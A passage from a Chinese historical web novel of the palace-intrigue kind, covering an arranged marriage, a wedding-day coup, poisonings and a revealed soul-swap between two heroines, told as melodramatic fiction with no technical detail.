说完赵云归嫌弃的理了理被打湿的衣裳，起身朝内阁走去，也没再管外头的人了，早早的就歇下了。
次日，天未亮。
乘着着府中人还未醒赵云归早早的便出了门。
走下马车，天边已微微有了亮光，拉了拉连帽便按着记忆走上了上山的路，果真还是同从前一样的难走。
山路崎岖，见到那片熟悉的海棠花树时已经感受到那娇嫩皮肤磨破后的刺痛。
“嘶。”
轻喘着走到海棠树旁边时才注意到它已经开花了，阳光撒下，透过那晶莹的露珠，好似在发光一般。
穿过树林终于到了那一片空地。
沈明昭站在不远处。
白紫色衣衫随着微风轻轻摆动着，那乌黑的长发辫成长辫垂在身后，海棠花随意绑在上面。
“姐姐——”
熟悉的声音从身后传来，手中的海棠花枝掉落有些不确定的转过身去，“云归？”
“是你吗？”
怕是自己听错了，声音也渐渐弱了下去。
还没听到想要的回答，便被跑到身边的赵云归抱住了。
“是我！”
原本想要推开她的手在听到声音的一瞬愣在了空中，一时竟不知该如何了。
“姐姐，我好想你！”
“我也是。”泪水滑落，她的声音也变得哽咽了，也终于伸手抱住了她。
“还好你回来了，我就知道……”就知道她从不来都不会失约的，从来都不会让人失望的。
赵云归拉着她到了一个石墩子旁坐下，聊了许久沈明昭才将她带到了灵岩寺中。
两人跪在寺中。
闭上眼，双手合十，心里念的却是同一个所求所愿。
……
这时候也不早了，便想着让她在这歇下，可赵云归急着回去她也不便再多留。
“一定要等着我来接你！”阿昭！
“好！”
下山的路也许没有那么累人，却更加危险。
箫祁政见到赵从南时本以为要好费一番口舌，可看他的模样却像是早就知情一般，了解了他所准备后便答应了他口中的合作。
与朝上之人里应外合，秘密谋划着。
可世上没有不透风的墙，更何况如今的京城早就在肖权的掌控之下了，他早就发现了他们有着什么秘密，只是他过于自信，并没有怀疑过箫祁政是否还活着，只当是沈溢之在做着最后的挣扎。
加上他们所通的信件肖权都过了一遍，并无什么不对。
两个月后。
沈溢之的做法更是让他确定了心中所想。
“这……”
箫元义把玩着手中的佛珠，轻叹一声，看着刚呈上来的佛珠思索着并未做出回答。
沈静安与赵云归几乎没有过什么交集，如今沈溢之竟在朝上请他为两人赐婚，“沈卿这……”若说是没有什么私心定是不信的。
“此事……”正准备将此事驳了去，肖权却意外的站了出来。
“陛下。”
“沈相爱子。”都已经说到这个地步了，“陛下何不全了两人。”
沈溢之也没想到这人今日会替他说话，瞥了他一眼，“望陛下成全。”
盘珠子的速度不断变快，箫元义还在心中盘算着。
“皇帝？”
肖暮云的声音拉回了他的思绪，“如此，便…允了。”
“无事退朝！”
“咳咳……咳。”今日肖权也是难得放慢了速度，同沈溢之并肩走着，“多谢。”
“哼。”
自己时日无多，“还……“费心为他们铺路，为何不成全。”
“只是……”成全，并不意味着他日后不会对沈静安动手，“哈哈哈！”
肖权不屑的摇了摇头快步离开了。
次日，宫中之人便带着圣旨到了将军府。
府中之人全被叫了出来，整个空气都仿佛愣了一瞬尖锐的声音才从前方传来，“奉天承运皇帝，昭曰……”
“朕闻镇国大将军赵氏之嫡女，温婉贤良，才情出众。特赐婚于丞相沈氏长子，以结百年之好。即命礼部筹备婚礼，择吉日完婚。”
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“钦此！”
“臣女接旨。”
“……”
送走宫中之人，赵心缇拉着赵云归回到了府中，她怎么不知沈静安是一个什么样的人，嫁给他便是往火坑里跳啊。
看着这事不关己的模样便气不打一处来，“这也是你的主意？”
“你知道……”
“是，不过我的婚事便不劳烦长姐费心了。”赵云归将手从她的束缚中挣脱开，往后退了一步，“若是长姐当真关心，便替我在这之前将一切布置妥善吧。”
两人对视，赵云归浅浅一笑，轻挑眉梢，“若无它事，我便回房了。”
“咳咳。”
赵云归回到房中后按照谷清音的要求写了两封信，分别派人送了出去，只是如今她被囚在宫中也不知如何。
用完午膳赵云归换了身衣裳，待小秋为她梳妆好便出门了。
“二小姐，到了。”
赵云归起身掀开帘子准备走下马车，便见一位男子冲她伸出了手，愣了一瞬，小秋见状连忙上前，“沈公子，还是让奴婢来吧。”
沈静安？
“无妨！”赵云归将手搭在他的手腕上，走下马车，打量着他。
姿色尚可，就是名声臭了些。
本以为他会定在今朝醉的二楼，没想到竟带着赵云归走到大厅的一个位置坐下了，“云归不会介意吧。”
“当然。”
刚坐下周围的议论声便传到两人耳中。
垂下眼眸，端起桌上的瓷杯浅抿一口，沈静安却依旧是那般模样。
绝对是故意的，“咳，确是我唐突了。”
沈静安微微偏头，眼含笑意的看着她，看她能说出什么花儿来，“沈公子今日出来，屋里的妹妹该怪我了吧。”
“若是日后……”说着赵云归垂下头，满是懊恼的神色。
赵云归故意提高了些音量，周围看戏的人又议论了起来，不过这些话沈静安听的多了，倒也没什么感觉了，“日后我定为了云归将她们遣散。”
“那……”怎么好意思啊，“别日后了，我看今日天色尚可。”
“好啊。”
沈静安一口答应了下来，拿起桌上的筷子夹了菜放在赵云归碗中。
“多谢。”
赵云归将新的碟子放在面前才拿起筷子。
两人都不喜欢对方，也都看出来了，便都未再开口说话。
用完午膳，两人便大张旗鼓的在街道上随意逛着，看上去好不亲密，两人走到一石桥旁是就见一群小厮正在搭建些什么，遣人去问了才知道今晚有表演。
他们并没有待一整天的打算，也便没有再细问什么。
“公子！”
“那花……生的好生标致啊。”
“等我。”沈静安朝着赵云归指的方向走去，随手折了一朵花便回来了。
“哼。”轻笑一声接过他递来的花，打量着，“真是可惜了。”
有些花瓣已经坏掉了，“甚是影响美观。”说着她便将那本就为数不多的花瓣一片片扯下，这下倒好，“呀，只剩个……”花心了！
“咳！”
赵云归抬手挡住她压不住的嘴角，将手中的花心别在沈静安耳后，“这也不算驳了沈公子的一片心意了。”
“咳咳咳。”
撇了一眼旁边的小秋，她连忙走近扶住了赵云归，“今日逛的久了，身子有些累了。”
“咳咳，那…沈公子自便。”
“我送你回去吧。”沈公子作势要去扶赵云归却被躲开了。
“那便劳烦了。”
坐上了马车两人也没再说些什么，后头每日两人都会一同到外面逛逛，看到的人多了宫里的人也早晚会知道。
直到两人的婚期定下了，这才各自准备去了。
肖权一时来了兴致，便将这事揽过大操大办了起来，看这架势便不一般。
45.大婚之日起兵谋反
终于，黎明的曙光从夜幕冲出，皇城内外已是一片喜庆祥和之相。
微风拂面，那随处可见的红绸随风轻舞，府中各处都贴上了大红’囍‘字。
宾客早已入府，交谈声不断，好生热闹。
赵云归早已换好大红嫁衣坐在铜镜之前，木梳划过她乌黑的长发，一缕缕发丝被收起，盘成了一个复杂的发髻。
小秋将桌上的锦盒打开，里面是那对熟悉的珠钗，“这是夫人昨晚派人送来的。”
“嗯。”
赵云归将珠钗取出，拿在手中打量着。
还记得儿时柳眉昭说要亲自为她戴上的，可现如今……她却不愿现身，愣神之时，各式各样的珠翠已经插在了发髻之上，那流苏也随着她的动作微微晃动着。
外头越来越热闹，那长长的迎亲队伍也越来越近了。
时辰到了，接过小秋递来的团扇起身，在人群的注视下走出了赵府。
“姑娘小心些。”
“姑娘？”
一股热风朝她扑来，愣了一瞬，在侍女们的搀扶下，轻提裙摆跨过火盆，在众人的注视下坐上了马车。
余光中却始终没有沈静安的声音。
感受到马车缓缓行驶，赵云归用手中的团扇撩起马车窗帘子的一角，小秋发现的第一时间便抬手制止了，压低声音询问道，“怎么了，小姐？”
“沈静安呢？他为何不在？”
周围的议论声不断，小秋的脸色也难看了起来，“他们说是有事耽搁了。”
耽搁了？
好一个耽搁了！
“好你个……”沈静安，这是想给她一个下马威吧。
正想着要如何将这气还回去，马车突然停下，赵云归整个人往前扑去。
手中的团扇落地，赵云归一手扶着旁边一手扶着头上的冠，见马车停稳了才将团扇重新捡起来，“发生何事了？”
“小姐，前面有人拦路！”
拦路？“何人？”这么大的胆子！
“是……”小秋的声音突然带上了些颤抖，“是肖太尉，还有紫龙军！”
百姓惊恐的的叫声不断，可外头的人却也未来找她。
如此，赵云归也不着急了，静静地坐着，看看外头的人究竟能对他做些什么。
指尖轻敲着扇柄，马车再次动了起来。
“赵将军谋反，今日这婚怕是成不了了。”肖权坐在外头接替了车夫的位置，却像是在说什么平常之事一般。
却并没有接话的打算。
“哈哈。”他想过赵云归会大哭会痛骂他，可如今这般模样更让他兴奋，“看来你并不担心他们的安危啊。”
“哼。”或许，他的安危更需要担心，所以，“你要带我去何处？”
“放心，我……”现在还不会杀她的，“只是带你去看场好戏而已。”
“咳咳。”轻咳两声后取出一方手帕来，抬手将头上的珠钗取下，手帕来回擦拭着她手上的珠钗，眼神变得有些恍惚了。
“你把小秋抓走了？”
“放心吧。”
“咳咳咳。”赵云归将手指咬破，鲜红的血液在手帕上越滴越多，没受伤的手伸出，“水…咳咳。”
“矫情。”
肖权并没有停下马车的打算，夺过帕子丢掉了一旁。
“咳咳。”将手收回重新坐好，那支珠钗依旧被她紧紧的攥在手中。
许久，马车才缓缓停下，“走吧。”
听到肖权下去的声音赵云归才起身掀开帘子，看了一眼周围扶着头上的冠跳了下去。
“你？”视线被她头上的冠所吸引，不等赵云归站稳便伸手将她头上的珠钗取下，“你也配戴她的东西？”
“还有一支呢？”
沉默一瞬赵云归将手中的珠钗举起，肖权伸手便要去夺，奈何怕弄坏了珠钗根本不敢用力，“松手。”
眉头轻皱，他的眼神也沉了下去。
“嘶。”
赵云归用力抽出珠钗便在肖权的手上留下血痕。
“我……”她像是没想到会这般一样，眼中染上一丝慌乱，“这是…阿母送我的……”
在肖权的注视下，赵云归的声音越来越弱，不得不将手中的珠钗放在他伸来手上，将上面的血迹擦拭干净才开口，“给我安分点。”
两人走到城楼之上，“姐姐？”
站在不远处的谷清音听到她的声音，也转过了头，可她被两人看着根本动不了。
看了一眼肖权的背影，赵云归冲着谷清音微微点头，加快了步伐。
三人并排而站，此处看去远处的人像是蚂蚁一般。
“看来我们来的正是时候。”话落，箫祁政也看清了上面的人连忙抬手，众人举起的弓箭便齐齐放下。
“哈哈哈！”
肖权是万万没想到箫祁政这些年竟私下练兵铸兵器，如今还联合外邦，今日逃不了，那……“箫祁政，选一个吧。”
赵云归皱眉看着身边的人，“疯子。”箫祁政定是会选谷清音的，可如今她被押住根本就走不了，心中有些慌乱，对上谷清音的眼神是就见她摇了摇头。
别担心。
点了点头，可心中的慌乱并未减少。
再看去时，箫祁政手中的弓箭已经举起，赵云归咽了咽口水，眼神死死的盯着。
箭飞快射出，赵云归认命般的闭上眼，感受到一股风划过，惊恐的睁开眼时就见那肖权一脸痛苦的捂着自己的肩膀。
一口污血喷出，抬手的瞬间谷清音向前倒去。
“姐姐！”
旁边突然变得混乱，赵云归被撞的跌坐在地。
轻扶着头上的冠，抬眼便看到那些穿着相同衣裳的人互相厮杀起来，赵云归连忙爬到墙边瑟缩起来，警惕的看着那群人。
“啊。”
肖权重重的倒在了她的面前，污血不断从口中涌出，看了一眼手上发黑的伤口，眼神再次死死的盯着赵云归。
“罪有应得，”
肖权另一只手上紧紧的握着那两支珠钗，赵云归看了一眼便站起了身，趴在城墙上，下面早已躺满了尸身，一时间竟找不到谷清音的踪迹了。
“赵二小姐。”
赵云归肩膀轻颤一下转过身，警惕的看着面前的人。
“殿下让我送二小姐回去。”慕珂看她这的模样便知道赵云归被吓的不轻，也没靠太近。
赵云归轻轻倚靠在旁边，上下打量着他，看上去却是不像是坏人，更何况她如今也无路可退了，“劳烦了。”
“小心。”
坐上马车，躁动不安的心才稍微平复些。
可外头的喊叫却让她的心跳再次变快，就好像那些惨叫声贴在她的耳边一样。
颤抖着手掀开帘子，对上了一双绝望的双眸，“是……”不对，肯定不是。
那双眸子太像了，有一瞬她都认错了。
马车离开。
“救……”衣衫不整还浑身是伤的清儿被一只大手捂住了嘴，再一次拖回了映月楼之中。
看着眼前这些从前因为肖权而忌惮她的人，认命般的闭上双眼，绝望的泪水从眼角滑
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落。
“……”
“……”
这一次，真的没有人能救她了。
“到了。”
快步走下马车，眼前的场景却并不是她熟悉的地方，“为何不回……赵府？”
“这……二小姐还是……”别问了。
愣了一瞬，一股不好的预感涌上心头，却还是快步跟了上去。
不知为何，安王府上下也挂满了红绸锦缎，这布置比赵府还要喜庆，“府中……”是有什么喜事吗？
可……这话刚出口她就后悔了，对上慕珂疑惑的眼神她只好摇了摇头，“无事。”
“我叫人重新替你梳妆。”
“多谢。”
坐在镜前便被自己的模样惊到了，“怎么乱成这样了？”
“没关系的！”
镜中突然多出来一个人吓得赵云归一哆嗦。
那人便也不再说话，走近将发饰拆下，重新给她盘了起来。
慕珂站在门外，回想到去赵府收尸时所见到的场景便不知该如何同赵云归说。
一个时辰前。
将军府。
听到外面的乐声响起，赵心缇才推开房门走了出去，此时虽还没见太阳却不冷，她今日却穿的比平常厚些。
走到人群中时，只见到了赵云归一个背影。
人群散开她也回去了。
赵离今日身子不适便一个人待在房中，将周围的人都打发走了赵心缇便将熬好的热汤端了进去。
“祖母。”
“吃点东西吧。”
赵离坐起身，看向她的眼神依旧慈祥，“你有心了。”
“呼……”赵心缇浅浅一笑便端起瓷碗给赵离喂着碗中的汤。
一口。
两口。
三口。
“噗！”正垂下眼眸舀着碗中的汤时，鲜红的血液喷到了她的身上，也将这汤染成了红色。
“砰。”
赵离重重倒在床榻上，赵心缇却不敢去看，一直用那汤勺搅拌着碗中的汤，赵离吐出的血液都被她搅散了。
“心……”
“为什么……”
赵离用她最后的力气拽着赵心缇的长袖，她这才缓过神来。
“砰——”瓷碗从手中滑落，打湿了床榻上的被褥，又滚到地上摔了个稀碎。
赵离眼神充血的眸子死死的盯着赵心缇，沾满鲜血的脸上满是痛苦的神情，可她却连叫都叫不出来了，见状反手握住她的手，跪在了地上，膝盖被瓷片刺破，点点血迹渗出，哽咽道，“因为是你杀死了青川！”
“祖母……是心缇不孝……”
不知是想到什么原本干涩的眸子竟落下泪来，看着已经没了生气的赵离，颤抖着抬起手将她的眼皮合上，“等到了地底下，我会与青川一同继续孝敬您的。”
松开手起身。
她像是丝毫感受不到腿上的刺痛一般，快步走到桌边，从怀中取出一包粉末加在水中，摇晃着。
轻叹一声，她的脸上终于有了笑意。
解开腰带起身，脱下外衫扔在地上，理了理穿在里面的纯白色长裙重新坐下，“沈郎啊沈郎……但愿我来的不迟……”
说着她拿起那壶水全数饮下。
“砰。”手中的瓷壶被她摔了个稀碎，任外头的人如何拍门她都不应答。
“咳。”
“咳咳。”胃里一阵翻涌，一口口鲜血吐出，赵心缇从怀中取出一条白带绑在头上，一阵恍惚整个人便向后倒去。
“沈郎，我来找你了。”
46.你怎么能杀了她
红日西坠，那余光将天空染成了橙黄色，赵云归已重新梳好了发髻，而，此时的皇宫之内也早已乱成一团。
“你们已经无路可退了。”
“收手吧。”
“咳，哈哈哈。”肖暮云头上的珠钗早已丢了个精光，乌黑的长发肆意落在肩头。
“收手？”泪水从那已经没了光亮的眸子中滑落，与那已经干涸的血痕混在一起，一眼看去竟像是血泪，“我没有错！”
“错的是你们！”
她嘶喊着，那为数不多的侍卫将她护在身后，她则是抬手将肖念安护在身后。
“箫元义！”
看到与她对立的人群中那熟悉的脸庞，微微偏头笑的无奈，“骗子……懦夫……”
“我明明……”为你做了这么多，为什么还要站在她的对立面，伤害她。
“哼！”
“骗子……都是骗子。”
箫元义拽了一下箫祁政的手，他才让身后的人收起弓箭，想要出口劝她，“我可以留你一命。”
“哼，哈哈哈！”
“箫……”
“阿云！”
“哼嗯……咳……”嘴中强烈的血腥味和胸口处的刺痛冲击着她的思绪。
低下头。
那刺穿她心脏的快速长剑拔出，她的意识渐渐模糊。
“阿云。”
箫元义跑过来是就见肖暮云重重到底，满脸冷漠的肖念安闯入他的视线，带着血迹的剑被重重丢在他的脚边，跪下颤抖的抱住肖暮云她却再也说不出话了，“阿云——”
“肖念安，她是你姑姑啊！”
“你在做什么？”
“阿云——”箫元义颤抖着擦拭着怀中人的血迹，可根本擦不干净，还害的他浑身上下都染上了骇人的红色，只能将她紧紧抱在怀中，仿佛这样能给他一丝安慰。
“她不是，我早就……没有亲人了……”
“什么？”
“念安？你……”箫元义只觉眼前的人陌生的可怕。
就算她不是肖家的亲女，可这么多年肖家也从未亏待过他啊，她为什么要这么做。
“哼，从未亏待？”
看着箫元义怀中已没了生气的血人，他的手也颤抖的厉害。
肖念安扶着一旁的纪绍才得以支撑住发软的身躯，声音依旧冷漠，却不敢看已经没了生气的肖暮云一眼，“那你……敢说这五年我药里的毒与她毫无关系？”
“你敢说你毫不知情！”
她的声音在空气里破碎开来，泪水滑落，她用力的嘶吼着，痛苦，无助！
见箫元义说不出话，肖念安释怀一笑，微微仰头，手心划过脸颊带走那糊满的泪，却将手上的血留下。
转身走到大殿里仅剩的箫祁政身边。
最后看了一眼地上抱着肖暮云痛苦的人，胃里一阵翻涌，强压着颤抖的声音，“别忘了你答应我的。”
两人对视着，箫祁政紧皱的眉头逐渐舒展开，点了点头，“好。”
快步走出去。
控制不住跌倒在地，干呕了起来。
……
箫元义被囚，箫祁政称帝，朝中本还有不少人对他的所作所为有所诟病。
“咳咳。”
箫祁政让慕珂带进来了一个人，朝中人瞬间都晃了神。
“他……”不是已经死了吗？
肖庭轩本就上了年纪，如今看着更显苍老了，箫元义在位的这些年，他便一直被囚，被折磨着，“箫元义他根本就德不配位！”
“咳咳咳！”
沈溢之看到他这般模样下意识的扶了他一下，附和着他的话，那些反对的声音也渐渐弱了下去。
等一切都结束天色已经暗了下来，赵云归坐在床边按了按有些发痛的脖子，等的有些不耐烦了，正抬手准备将盖头揭开，脚步声便传了过来。
赵云归连忙将手搭在腿上端坐好。
只见穿着红色喜服的人在他旁边坐下了，两人都没有开口说话。
“咳。”
赵云归垂着眼眸轻咳一声，旁边终于传来了动静。
盖头被揭开，看到那说不上熟悉脸庞的瞬间瞳孔骤然放大，嘴唇微张想要说些什么，却还是选择了沉默。
“阿音——”
“我终于等到这一日了。”
阿音？
原来……他不知道吗？所以今日在城楼之上也只是以为她是谷清音吗？
“阿音？”
箫祁政的手碰到赵云归的瞬间便被躲开了，两人对视着，“你……”
他的眉头越皱越深，心中思绪翻涌，猛然回过神来，眼中闪过一丝错愕，抬手掐住赵云归的脖颈将她用力按到床榻上。
“你们……”换回来了？
“咳咳！”赵云归的脸憋的通红，脖颈上的青筋暴起，用力的拍打着箫祁政还在不断用力的手，“放……”
“啊……”
疼的生理泪水从眼角滑落，箫祁政终于是松开了手，“咳咳咳。”
“呕咳咳……呕……”
赵云归整个人蜷缩在床榻上，拔出头上的发簪对准眼前人，双脚不断用力的蹬着，生怕他会再做出什么了。
“阿音呢？”
在他的注视下赵云归身子颤抖的厉害，呼吸沉重而急促，可她只有一开口便咳嗽的厉害。
“阿音呢！”
“啊…”箫祁政站起身朝她吼着，吓得她手上的簪子掉在落到被褥上，慌乱的拿起簪子她还在一个劲儿的往后退，“我不知道！”
谷清音在他眼皮子底下被推下城楼，他不应该更清楚嘛。
箫祁政如今恨不得将她丢回赵府去，可当初他却答应了赵从南待他登基时，赵云归便是皇后。
可他万万没想到两人的灵魂会换回来，“何时？”何时换回来的？
“是……几个月前了……”
更何况赵云归醒来时便在自己的身体里，她又怎么会知道灵魂互换这一事，只不过是谷清音如何说她便如何做了。
“那日……我恍惚记得……”
她一直可以感受到外界的声音，可就是如何也睁不开眼，直到那日……赵云归睁开眼就见自己坐在冰凉的地面上，手枕在床榻上，迷迷糊糊的坐起身。
“姐姐？”
缓过神，看到谷清音满脸苍白，躺在床榻上，一时间慌了神，想要起身去叫人，可还没还没起身便传来了丝丝刺痛。
“嘶。”
许是她的动静太大了，床榻上的谷清音也缓缓睁开了眼，迷迷糊糊看到赵云归的脸时还以为是自己眼花了，直到她拉住自己的手时才意识到她们的灵魂终于换回来了。
“咚咚咚。”
“阿音——”
突然，敲门声传来，赵云归起身准备去开门却被拉住了，谷清音眼中闪过一丝慌乱，反复嘱托着她，“无论他做什么，都按着我的行事风格来。”
“好。”
赵云归点了点头，虽是不解也没反驳什么。
推开门，眼前人的长相都还没看清就被一把揽进怀中，下意识想要推开她可一想到谷清音的话又只好任由她抱着了。
“阿音——”
阿音？
“我在。”所以，这段时间究竟发生了什么，这个人为什么把人当做姐姐？
“等我。”
“等我回来，好吗？”
箫祁政松开手，牵起赵云归的手期待着她的回答。
“嗯。”
“愿君……”遭了，不该这样说的，可话已出口不能再让他看出什么端倪了，“平安。”
看着箫祁政离去的背影，赵云归抬手擦了擦他刚刚抚摸的脸颊，便关上了门。
“姐姐。”这究竟是……“怎么回事？”<
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“说来话长。”
赵云归简单的听她讲了如今的情况便起身带着她出去了，刚出去乔牧便着急忙慌的跑了过来，据他所知宫中要来人。
“知道了。”
无论是因为什么都不能让赵云归处于危险之中，所以，她必须现身去做接下来的事了。
“怎么了？”
赵云归觉得头有些晕，可听到外面的动静便摇了摇头，“无事的。”
“坚持一下。”
“好。”
脚步声越来越近，谷清音回到坐会床榻边，将面具带好后便继续给花芷施针了。
“赵氏？”
“你何时懂得医术了？
果然，这人能通过她这一装扮便能看出她的身份，又是宫中人，谷清音也知道她是谁了。
可她依旧没有起身，继续着手上的动作。
赵云归听着外面交谈的声音意识越来越模糊，额头上冒着冷汗，急促的呼吸着，可外面的人没走她便不能倒下。
指甲深深的嵌入掌心，却也只清醒了一瞬。
不知过了多久，周围的黑暗终于被冲散，只见谷清音迎着光看着她，脸上满是焦急的神色，可她什么也听不见。
“姐姐～我……”好像撑不住了。
“我好疼啊——我……”好害怕，可她还要去赴约呢，必须要坚持住。
……
翌日，小雨忽至，谷清音掀开帘子戴面具的男子便扶着她走下马车，撑起伞走进院子中，本没有抱太大的期待，没想到海棠竟真的还在这里。
只是看到生面孔了难免会警惕些，“你是谁？”
谷清音拿出一封信朝她递去，接过又往后退了好几步才敢打开，“姑娘让我跟着你？”
“嗯。”
“你若是不愿我便离开。”
“等等。”她怎么会不愿呢，海棠将谷清音请进屋子里坐下便去收拾东西去了。
“走吧。”
坐在马车上时海棠仍觉得有些恍惚，没想到自己竟然跟着一个连姓名都不知道的人走了，“姑娘，我们这是要去哪儿啊？”
“拦人。”
“啊？”谷清音没再讲，海棠便也不问了。
突然，马车停了下来，“这是？”海棠连忙掀开帘子看着外面的状况，“姑娘，前面可是肖府的马车啊。”
“那便对了。”
“走吧。”两人走下马车，本以为她会去找他们，没想到她却旁边走去了，连一个眼神都没有投过去。
“姑娘，她们看过来了。”
“嗯。”谷清音掐准时机回头看去，与马车中的肖念安对视上了，只是一瞬她又回过头朝最近的铺子走去。
海棠有些看不懂她的做法了，“姑娘不是要拦人吗？”
“拦不了。”谷清音随手拿起柜子上的玉镯打量着，“她这是要进宫的。”又怎么拦的住。
想要肖念安看到她时的眼神，不禁勾起嘴角，“等着她来找便好。”
说着，她将玉镯递给了海棠，“试试看。”
海棠也不推脱，她让戴便戴上了。
“你们还走不走了？”
“嗯？”海棠看着那戴面具的男子愣住了，这人怎么这么没礼貌啊。
“急什么。”
谷清音无奈摇了摇头去付了钱。
马车举行行驶着，过了一会儿海棠直接坐在谷清音的旁边，压低声音，生怕外头的人听到她说话“姑娘，那人是谁啊？”
他是……”我弟弟，他叫……“晋无忧。”
“到了。”
“还有……”晋无忧将帘子掀开，无奈看着谷清音，“谁是你弟弟了？”
“哼！嗯！”谷清音轻挑眉梢耸了耸肩，“随你怎么说。”
谷清音将海棠安置在叁生堂便去花芷那儿了，可惜她却依旧昏迷，没有一丝要醒来的迹象。
47.合作吧，只有我能救你了
次日，不出所料的，肖念安早早的便找到了叁生堂，而谷清音也已经恭候多时了。
木门半开着，一声吱呀声后就见一个穿着黑色长袍的女子迈近，一眼看去她的身子比上次一别看着还要瘦弱些了呢。
“请坐。”
肖念安始终一句话都没说，走到她面前的凳子坐下后拉了拉连帽便伸出了手，搭在桌上的脉枕上，谷清音微微点头，嘴角染上一抹淡淡的笑，指尖搭在她的手腕上，感受着她的脉搏。
时间一分一秒的过去，脸色也越来越凝重。
“这毒……”虽不是剧毒，可这日积月累肉体凡胎自然是遭不住的。
“你……这身体已经是个毒罐子了啊！”不过，倒也不是完全没有办法，谷清音将手收回，“先叫外面的人进来吧。”
“青黛。”
“咳咳咳。”
门被关上，肖念安也将披风取下搁在了旁边。
谷清音视线一直在两人身上打量着，见她取下披风，身子往后依靠抬手撑着下巴，唇角微撩，“怎么？这是要装作不认识我了吗？”
“抱歉。”
肖念安垂下眼眸，双手紧握。
再次抬眼时，眼神里满是愧疚，“我知道你恨我，也不奢求你救我。”
“那你……”今日来是为了什么？
“你想见我，自然是要来的。”肖念安昨日被召进宫便是为了谷清音的事，她又怎么会想不到昨日一定是有意为之呢。
“嗯。”
“既然如此……”便也不拐弯抹角了，“合作吧。”
“嗯？”肖念安装作吃惊的模样，随后侧过脸轻笑出声，“真有意思。”
谁不知道肖家对她有恩，这些年又是对她极好的，她又怎么会同外人一起去对付他们呢。
不过，“我很好奇，你的筹码是什么？”
筹码？
肖念安能问出这个问题，便说明…就算谷清音能救她她也不会心动，她若是这般怕死之人便不会明知那药有毒还五年不断。
“噗嗤！”
谷清音起身走到她的身边，倚靠着木桌，“真是单纯啊～”
肖念安虽是唯留在肖府的却不是唯一一个被被领回去的，那些人的下场她也是亲眼所见，像肖权这样的人又怎么会允许一个外人一直留着呢。
这世间有太多的聪明人了，肖念安又怎么会不知。
更何况，“你虽不怕死。”
“可如了她们的愿，你当真死的安心？”
说着，指尖轻轻的敲打着桌面装作思考的模样，“对了，她叫什么来着……”
谷清音就算不说出那个名字肖念安也懂了。
“哈哈？”
所以呢？“你能让她落到我手里？”
话语间，视线相交，一瞬间肖念安都快认为她们之间仿佛并不是一场交易，而是眼前人想要将她拉出泥潭。
谷清音自然是不知她的想法的，清明的双眸骤然一深，唇角的笑意弥漫开来，“得看你怎么做了。”
她既然来了便说明她是有这个想法的，可是……若是肖权倒台，她又该何去何从呢。
看出她心中的挣扎，谷清音便将所有都摆在了明面上，“帮我做三件事，我便还你三件事。”
见肖念安并未出言拒绝她才开口。
第一，“我要知道肖庭轩的下落。”
谷清音也是意外得知他还活着，虽说他的风评不好，可……箫祁政起兵定是会引起朝臣不满的，若是由肖庭轩说出当年的真相，对箫祁政多少也是会有一些帮助。
肖暮云虽未提起过，可她早就知道了肖庭轩的下落，所以这并不难。
第二，“我要见他。”这……肖念安面露难色却并未拒绝。
第三，空气凝固一瞬，肖念安抬眸看去便看到了她眼中的冷冽，“她必须死。”
“不过。”肖暮云亲近的人不多，肖念安勉强算的上一个，所以，“我要你亲自动手。”
肖念安低着头，指尖轻轻摩挲着。
“小姐！”
青黛都听不下去了，走近想要带她离开，可肖念安不自觉颤抖着的手抚上她的瞬间，选择了沉默。
“可以。”
这些事肖念安都可以做到，前提是谷清音开出的条件是她想要的。
谷清音坐回去继续说着。
显然，她心动了。
那么……“合作愉快。”
这个点儿也该去看看花芷了，“那你明日还是这个时候来便可。”到时候再帮她治病也不迟。
见两人聊完了，青黛连忙将肖念安扶起来。
“不。”
“不行，我要今日。”
花芷那儿有海棠在倒无需担心，思索一瞬，两人目光交汇的瞬间谷清音便起身看向了别处，“嗯。”
谷清音也没多说什么，起身去抓药了。
肖念安也跟在后面。
虽说不是她服用的不是什么致命的毒药，可毕竟也这么多年了，“你的身体早就坏了。”
要想续命，只有一个办法。
“换血。”
肖念安说出这两个字时谷清音并不惊讶，不过，“看来你也不是真的不怕死啊。”
要想救她，需以活人为引，将毒引出。
只是，“这人选嘛……”
“我可以的。”青黛的声音传来时，两人都没有再说话了。
青黛以为她们是在犹豫，原本扶着肖念安的手松开，垂下眼眸，“小姐。”
“其实……”肖权给她下毒这事，“奴婢一直都知道。”
她曾是想要告诉肖念安的，心中也是挣扎的很，她本就是肖权安插在肖念安身边的眼线，哪怕心中纠结过，最终也还是选择隐瞒。
可是肖念安对她是那般的好，如今她愿意摆脱束缚，青黛自然希望她家小姐可以好好的活下去。
“你……”
“咳咳咳。”肖念安不敢去看她。
谷清音也抓好药了，熬着药，三人重新坐下。
看着各怀心思的两人，捅破了那层纸，“她之所以带你来就是为了拿你做药引的，知道吗？”急着今日也是怕出了这个门她会将两人合作的消息说出去。
“我……”
听到这话，呼吸一滞只觉脑袋嗡嗡作响，青黛不敢相信可肖念安的沉默却让她无法反驳，愣了片刻才点了点头。
“我知道了。”
“所以呢？”还要给肖念安做药引吗？若是不愿可要趁早，可别关键时刻跑了。
青黛的视线落到了肖念安的身上，就算她知道了，可那又如何，“若不是小姐，奴婢早就死了。”
她一直都后悔，可……她毕竟不是一个人啊。
或许……做出选择的那一刻，这一切就已经注定了。
“好。”
“去躺着。”
谷清音取了一根香放在床头点上，床榻上的两人也逐渐失去了意识。
此时的海棠也正按着谷清音的吩咐看着药呢。
“姑娘怎
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么还不回来？”
谷清音本来是说会早些回来的，可等了这般久也不见人影，这药也熬好了，晾了晾海棠便给床榻上还昏迷不醒的花芷喂药去了。
夜幕低垂，外头的声音渐渐弱了下来。
谷清音见两人都还没有醒来的踪迹便随意找了个话本子，在床边看了起来。
也不知过了多久，肖念安才悠悠睁开眼来。
“药在旁边。”
“知道了。”肖念安起身时只觉像是密密麻麻的蚂蚁在咬她的皮肉，强撑着发软的手臂端起旁边的瓷碗，将里面的药一饮而尽。
随后又从腰间取出一团纸。
展开。
一粒药丸赫然出现在她眼前，没有一丝犹豫的喂到了青黛嘴中。
缓了缓便穿好鞋袜站起身来给青黛喂了水。
见她准备离开谷清音只好将药方给了她，“你的身子还需要好好调理。”
“好。”
颤抖的手搭在木门上，犹豫一瞬才开口，“你最好把她弄走。”
谷清音看了一眼床榻上没有一点反应的青黛并没有回答肖念安的话。
看她这般模样，定是还想救青黛的，她并不打算插手了，只是……她是肖权的人，她的家人也在倚靠着肖权，所以……“别让她坏了你的计划。”
不然，肖念安也是两头都捞不着好了。
踉踉跄跄回到肖府便看到了肖权的身影，眼里满是冷意，“这一日你去哪儿了？”
“父亲！”
“青黛……她……”被掳走了！
只是话还没说出口肖念安便直挺挺的倒下了。
